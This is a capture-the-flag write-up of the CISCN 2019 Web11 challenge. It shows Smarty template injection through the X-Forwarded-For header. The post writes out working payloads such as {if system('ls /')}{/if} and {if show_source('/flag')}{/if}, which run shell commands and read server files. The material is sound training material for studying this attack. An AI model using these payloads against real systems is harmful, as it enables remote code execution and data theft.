[CISCN 2019华东南]Web11

[CISCN 2019华东南]Web11 wp

信息搜集

页面内容如下:

在这里插入图片描述

右上角显示的是我的当前 IP 。

在最下角提示:Build With Smarty !

在这里插入图片描述

Smarty 是 PHP 的一个模板引擎,那么这道题应该是 Smarty 模板注入。

Smarty 模板注入

可以参考博客:Smarty模板注入&CVE-2017-1000480

左上角既然能提取我的 IP ,那么根据页面内容稍微猜一下,应该是从 XFF 头提取 IP ,假设没有设置 XFF 头,提取的就是真实 IP 。

发个包测试一下:

在这里插入图片描述

说明这里确实会读取 XFF 头。

既然已经知道是 Smarty 模板引擎,那么就直接测试:

a{*comment*}b

在这里插入图片描述

返回结果是 ab ,测试成功。

查看 Smarty 版本:
{$smarty.version}

在这里插入图片描述

当前版本号为 3.1.30 。

if 语句执行 PHP 代码:

这个版本许多方法不可行,因此直接用 if 语句执行 PHP 代码:

{if phpinfo()}{/if}

在这里插入图片描述

值得注意的是 if 里面不用带分号。

这样的话就直接查看根目录下的文件:

{if system('ls /')}{/if}

在这里插入图片描述

在根目录下找到了 flag 文件。

查看 flag :

{if system('cat /flag')}{/if}

在这里插入图片描述

不回显,flag 看不了。

可能是过滤了 flag ,但是尝试了 {if system('cat /fl\ag')}{/if} 也不行

也可能是其他的原因,尝试了以下方法:

{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
{if file_get_contents('/flag')}{/if}

最后是:{if show_source('/flag')}{/if} 成功回显了:

在这里插入图片描述

拿到 flag 。

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-01 16:02:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-01 16:02:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-01-01 16:02:02       82 阅读
  4. Python语言-面向对象

    2024-01-01 16:02:02       91 阅读

热门阅读

  1. Go 跨平台编译

    2024-01-01 16:02:02       60 阅读
  2. 【算法题】32. 最长有效括号

    2024-01-01 16:02:02       52 阅读
  3. js 对象

    js 对象

    2024-01-01 16:02:02      64 阅读
  4. 一次有趣的经历分享

    2024-01-01 16:02:02       56 阅读
  5. 如何区别单音节和双音节

    2024-01-01 16:02:02       56 阅读
  6. vue3-12

    vue3-12

    2024-01-01 16:02:02      50 阅读
  7. 结构体:修改默认对齐数、结构体传参

    2024-01-01 16:02:02       64 阅读
  8. build.gradle记录

    2024-01-01 16:02:02       54 阅读
  9. 【从浅到深的算法技巧】1.基础编程模型

    2024-01-01 16:02:02       53 阅读
  10. samba的基础运用和配置

    2024-01-01 16:02:02       57 阅读